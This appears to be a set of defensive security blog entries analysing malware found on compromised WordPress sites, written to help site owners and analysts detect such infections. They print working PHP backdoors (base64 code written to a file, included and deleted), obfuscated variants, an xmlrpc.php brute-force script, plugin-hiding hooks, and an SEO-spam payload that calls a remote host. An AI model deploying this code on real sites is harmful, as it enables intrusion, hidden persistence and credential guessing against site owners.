Backdoor plugin hides from view

One of the most important traits for backdoors is the ability to remain undetected by most users — otherwise it may draw suspicion and be deleted, revoking access for bad actors in the process.

In the past, we’ve posted about how malicious WordPress admin users can be hidden from the Users list inside the dashboard. Another similar technique is the practice of installing, activating, and hiding a malicious plugin within the WordPress dashboard to avoid detection by the website owner.

The active plugins count (1) that tells us there is a plugin existing, however the plugin itself isn’t displayed. This is a sign that something is not working correctly or is being manipulated

In this case, the malicious plugin file was found in ./wp-content/plugins/ciasic-editor/index.php. The file contained commenting at the top of the code that caused WordPress to believe it was actually the legitimate plugin “Classic Editor”.

This is another common technique used by hackers to trick website owners into thinking it’s just another benign plugin file. Once the plugin is activated, it disappears from the plugin listing page and stays hidden — the only obvious clue is that it’s included in the plugin count (which is why it shows a plugin count (1) in the image).

The code used to hide the malicious plugin from view in the WP dashboard, unless your browsing user-agent matches the very specific one they defined.

The hacker sends a GET request with a special parameter (e.g ?action=boobooboo), which is set to identify whether or not the malicious plugin has been activated:

After the malicious plugin’s active state has been confirmed, it can then be used to generate additional malicious files in the website’s document root using the curl and _file_putcontents functions.

These functions are placed within the init hook function, which is loaded for every WordPress page:

This allows the hacker to use the malicious PHP code by sending a POST request containing the necessary parameters (keysecret, url, and file_name) to WordPress pages on the website without having to specify the filename of the malicious plugin (e.g URL would not need /wp-content/plugins/ciasic-editor/index.php in it and could just send the POST request to your website's home page). The curl function will then download whatever is located at the provided URL, and _file_putcontents (obscured through the custom function wp_file_update_func125) will insert the downloaded content into a .php file in the website’s document root.

FBCMS Pharmacy Spam Website

Whenever most people think of a website CMS, they most often think of the popular options like WordPress, Joomla, or Drupal. What do all three of those CMS platforms have in common along with most common CMS platforms? They use a programming language like PHP in conjunction with a database that is used to store the user-generated data. Now, in most cases that I have seen throughout the years, it is rare for a hacker to deploy one of these CMS platforms on a compromised website and use it for malicious purposes. It is usually just easier for the hacker to upload a few .zip files containing their doorway spam tools, then unzip them and move onto a new target. The content of these .zip files is usually a large directory containing a few scripts and a lot of SEO spam content that will be used to divert traffic or boost keywords. Another popular technique used by these SEO spammers is to inject existing website files and push new keywords “on-the-fly” from a remote server to the compromised websites hosting the injected files—more on that method here.

I mention this because I came across a pharmacy spam directory on a compromised website that was constructed using the Bootstrap CSS framework, along with various PHP engine files that serve the pharmacy content based on a visitor’s geolocation. Once it is loaded, it looks like a generic CMS or Bootstrap designed website except it is dedicated entirely to pharmacy spam:

Easily deployed, customisable pharmacy spam website
Easily deployed, customisable pharmacy spam website

A bizarrely named file ./wp-content/mu-plugins/0-sucuri-boot.php is used to begin loading the malicious pharmacy spam content. It contains similar header comments to our Sucuri plugin to add some fake authenticity. However, the file itself just loads the pharmacy website that was located in the directory wp-content/gforms/:
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin

While it is unknown how the pharmacy spam website was created it looks like someone spent some time with the overall template as it has many features built into it), the configuration file is located within a ./cfg/config.victimdomain.php. This is used to define the target country (in this case, the United States) and a lot of other features related to what is going to be ultimately displayed to the visitor:

Overall, this pharmacy spam website uses over 750 files since it cannot depend upon a database to store the many pharmacy products it is advertising. It’s important to note that no actual sales occur through this pharmacy spam website that is placed onto compromised websites. Instead it redirects the visitor once they finally are ready to order:

Threat intelligence gathering from slight changes in malicious...

We found the following PHP backdoor in August 2018 along with other malware samples uploaded after hackers exploit a specific vulnerable WordPress plugin covered in this previous post.

<?php @file_put_contents('cleartemp','<?php '.base64_decode($_REQUEST['q'])); 
@include('cleartemp'); 
@unlink('cleartemp'); ?>

It’s a short piece of malware, but it uses the file_put_contents to create (or overwrite if already existing) a file named cleartemp. Then it inserts the PHP code that is provided by the hacker through a crafted HTTP request containing the PHP code within a string of base64 encoded text. Next, it is decoded so the PHP code can be written to the cleartemp file.

We also found a variation of the above sample within a separate file:

<?php $a = base64_decode($_POST['b']); 
$c = '/tmp/b'; file_put_contents($c,'<?php '.$a); 
include($c); 
unlink($c);

These two malware samples ultimately accomplish the same task of writing code to a specified file, the code being supplied by an HTTP request, and then including that newly written file to the current running PHP script before deleting it. Although the two samples do the same task, it’s important to analyze the changes as it can help to show us how hackers are reacting to existing security controls and what they are doing to evade these security controls when they are encountered.

After analyzing the code from both samples, we can see the following:

They stopped using the @ error control operator which silences any errors that may be generated by the malicious code and helps aides in evading detection, but at the cost of the code being more likely to trigger scanning signatures.
They have moved to using variables ($a and $c) to store the filename and payload delivery used in the file_put_contents function. This can be helpful in evading detection by a scanner’s signatures or just human analysis as using a variable name like $a is less suspicious than directly including base64_decode($_POST[ code.

Although the coding changes between the two malware samples were not major, they were sufficient enough so that the second malware sample was able to avoid detection by online scanning tools after the first sample was already being detected. This makes it a good example in showing how analysis of the changes in a malware’s code can help reveal how the threat/malware operator is responding to existing security measures. This allows us to make better security tools with the knowledge of knowing how the threat/malware operator has responded in the past.

array_diff_ukey Usage in Malware Obfuscation

We discovered a PHP backdoor on a WordPress installation that contained some interesting obfuscation methods to keep it hidden from prying eyes:

$zz1 = chr(95).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110);
$ss2 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95)."content".chr(115);
$bs = chr(98).chr(97).chr(115).chr(101)."64"."_".chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$bngd = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
$b = $bngd.$bs($_REQUEST[chr(100).chr(49)]);
@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

The five separate variables ($zz1, $ss2, $bs, $bngd, $b) are obfuscated by converting their values from a decimal value to its normal ASCII character using the chr function (see this chart for more info on character conversions). Usually, this is seen in PHP malware obfuscation.

@array_diff_ukey(@array((string)($zz1) => 1), @array((string)($b) => 2), $ss2);
@include($zz1);
@unlink($zz1);

What isn’t seen as often is the use of array_diff_ukey to obfuscate how the backdoor uses file_put_contents:

array_diff_ukey is a PHP function that compares two arrays using another function which is defined by the user—in this case, it is file_put_contents.
The first array is constructed using the filename defined in the $zz1 variable that will be injected with PHP code.
The second array is hiding the PHP code that will be used in the injection:

<?php base64_decode($_REQUEST[d1])

This PHP code will allow the hacker to decide what code will then be evaluated later. They pass the PHP code to the file by submitting a base64-encoded HTTP request containing the PHP code.
The final part of the array_diff_ukey is the function that should be used to compare the two arrays, but in this case the comparison uses file_put_contents to inject the above PHP code into the filename from $zz1.

After the PHP code injection, the backdoor then uses the include function to evaluate the injected file’s PHP code before it finally deletes the injected file using unlink.

You can see the base64-encoded string in the browser’s URL which decodes to the PHP code to be evaluated:

echo "You've been hacked!";

This type of obfuscation is useful for rearranging the normal format of file_put_contents, which is a function that is commonly used in malware. So if you want to remain undetected, then obfuscating it within the backdoor code would be helpful.

xmlrpc.php Brute Force Tool

We discovered a xmlrpc.php brute-force tool in a malicious PHP script that appears to have been uploaded months ago after a vulnerable GDPR plugin exploit:

$data = $_POST['data'];
$parameter = $_POST['parameter'];
$domains = preg_split('/\s*(\r\n|\n|\r)\s*/', trim($data), NULL, PREG_SPLIT_NO_EMPTY);
$param = trim($parameter);
$user_data = explode(":", $param);
$request_body =    "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>
<methodCall>
  <methodName>wp.getProfile</methodName>
  <params>
   <param><value>9999</value></param>
   <param><value>$user_data[0]</value></param>
   <param><value>$user_data[1]</value></param>
  </params>
 </methodCall>";
$urls[$request_count]["url"] = "http://" . $domain . "/xmlrpc.php";
$urls[$request_count]["request_body"] = $request_body;
$urls[$request_count]["param"] = $param;
$request_count++;
$multi_results = multi_thread_request($urls); // a multithreaded curl function that submits the bruteforce or dictionary attempt

We mentioned in a GDPR post that we were seeing default user_role values being changed along with user registration, but it looks like hackers were also wanting to perform bruteforce/dictionary amplification attacks targeting the WordPress file xmlrpc.php on their victims. They are able to perform these attacks from compromised websites after they upload a file with code similar to the above example, then they can submit the target URLs and a list of username/passwords through the defined $_POST parameters (e.g data and parameter). After the data has been submitted to the PHP file through the POST request, it is crafted into a multi-threaded curl request which will include the URL, username, and password values from the POST request in a new WordPress XML-RPC wp.getProfile request.

If any of the submitted logins are successful in the submitted XML-RPC request, then we will receive all of the WordPress user information regarding that specific user:

<member><name>user_id</name><value><string>2</string></value></member>
<member><name>username</name><value><string>wp.service.controller</string></value></member>

<member><name>first_name</name><value><string></string></value></member>
  <member><name>last_name</name><value><string></string></value></member>
 <member><name>registered</name><value><dateTime.iso8601>00000000T00:00:00Z</dateTime.iso8601></value></member>
 <member><name>bio</name><value><string></string></value></member>
 <member><name>email</name><value><string>test@example.com</string></value></member>

Otherwise, it will return a 403 Forbidden-style fault error if authenticating with an existing WordPress user on the targets installation was unsuccessful:

       <name>faultCode</name>
       <value><int>403</int></value>
     </member>
     <member>
       <name>faultString</name>
       <value><string>Incorrect username or password.</string></value>

WP Plugin Hider

One of our analysts recently found an interesting injection that has been found on WordPress installations. Installed by hacker, it is used to hide a malicious plugin. that was installed by the hacker. In this instance the plugin was generically named “wordpressplugin”.

function hide_plugin() {
 global $wp_list_table;
 $hide_array = array('wordpressplugin/plugin.php');
 $my_plugins = $wp_list_table->items;
 foreach ($my_plugins as $key => $val) {
if (in_array($key,$hide_array)) {
  unset($wp_list_table->items[$key]);
}
 }
}
add_action('pre_current_active_plugins', 'hide_plugin');

This code helps the malicious plugin go unnoticed by the website owner, as it will not show within the normal plugins screen of the WordPress admin interface (previously we have seen similar behavior in “fake” plugins). In order to do this, they simply add a function that goes through and unsets the specific plugin they have used in the code. This function is then run every time before the active plugins are shown in the WordPress admin interface.

It’s recommended that you periodically audit and remove inactive plugins from your wp-content/plugins/ directory and do not solely rely on the wp-admin plugin page; it can be manipulated as seen here.

This type of code can also be used legitimately. Some developers do not want all their plugins shown on the plugins page of WordPress admin interface so that they can add similar code to prevent the appearance of the plugin.

Array string obfuscation

We continue to see an increase in the number of these PHP injections that use multiple obfuscation methods to evade detection, but lately one method has been increasingly utilized:

$GZN = "aT7k JdM_0VN5/Y1qQt
ym'oL*eIGS:c+ZhCbpREi)63rHBzDsXxOfKw;,.Wvn4=(lu9UjgF8AP2";
$hfl = $GZN[31].$GZN[0].$GZN[65].$GZN[65].$GZN[8].$GZN[66].$GZN[49].$GZN[26].$GZN[44].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31];
$fMk = $GZN[31].$GZN[44].$GZN[26].$GZN[0].$GZN[18].$GZN[26].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31].$GZN[18].$GZN[40].$GZN[23].$GZN[61]...

This obfuscation method uses a variable ($GZN) to store a long string of characters that look as if they could be encoded or encrypted as they are unintelligible usually. A second variable, ($hfl), is then created and assigned PHP code that is generated by using the first $GZN long string and specific numbers that correspond to the string array's indices or characters in this case. We end up with the function call_user_func after deobfuscating the $hfl variable, which you can see yourself by looking up the corresponding string value for the $GZN[ numbers (i.e 31 matches to character c - just remember the array starts at 0 so in the string the character c is actually the 32nd position). This process is repeated for the other variables as there are little to no PHP functions in plain text.

After repeating the process to deobfuscate all the other variables, we end up with the following - which looks to be where the actual action happens:

@$hfl($fMk($JLU,$GAa($Fd3($GZN[22].$GZN[33].$GZN[14].$GZN[13].$GZN[46].$GZN[29].$GZN[72].$GZN[7].$GZN[55].$GZN[28].$GZN[7].$GZN[50].$GZN[13].$GZN[65].$GZN[6].$GZN[73].$GZN[11].$GZN[3].$GZN[9].$GZN[46]

We can use the same method as before to deobfuscate the above PHP code to something more readable:

call_user_func(create_function(gzinflate(base64_decode('\''.'ZY/BS8MwGMX/ldANk0BpLx7E0dkdil4cMqsXGeFbmyahaVKar+Iw/u9uzIPi6fHj8R7vmY6wcpykEgNgoxldKO+VlXEILh6MUxEswrsJCBFCH4+gvY/g7cLQlJRL8VztXqvdG32o6yfxciKxua+2Nd1z/rnU7TUpSMBJwiAa71B+oGhOhJLBNMGRUY040mL9Q2gG6WekpFiTG875ishGe1J2xkqhJF5KHAaWnIO3ed6qHoINrc7CnFvX590hG/V41xZJ9mveRcV281jRfZZczX/tf+tT0oENMiXnD3z19Q0='.'\''))),'1','1');

The final step is to just deobfuscate the actual malicious payload of the file, which in this case is just gz compressed and encoded with base64, so either using a tool or just PHP code will allow you to deobfuscate it quickly:

if (@preg_match('#google|msn|bing|altavista|ask|yahoo|aol#i', @$_SERVER['HTTP_USER_AGENT'])){
    $hd4 = stream_context_create(array('http'=>array('timeout' => 8))); echo @file_get_contents("http://[redacted]/lnk/fb.php?d=".@$_SERVER['SERVER_NAME']."&u=".@$_SERVER['HTTP_USER_AGENT'], false, $hd4);
    }

It turns out to be another SEO spam injection targeting search engine crawler user-agents and serving them specific URLs that they wish to increase in their rankings or keywords, however in this case it happened to be hidden under layers of obfuscation to help avoid any detection.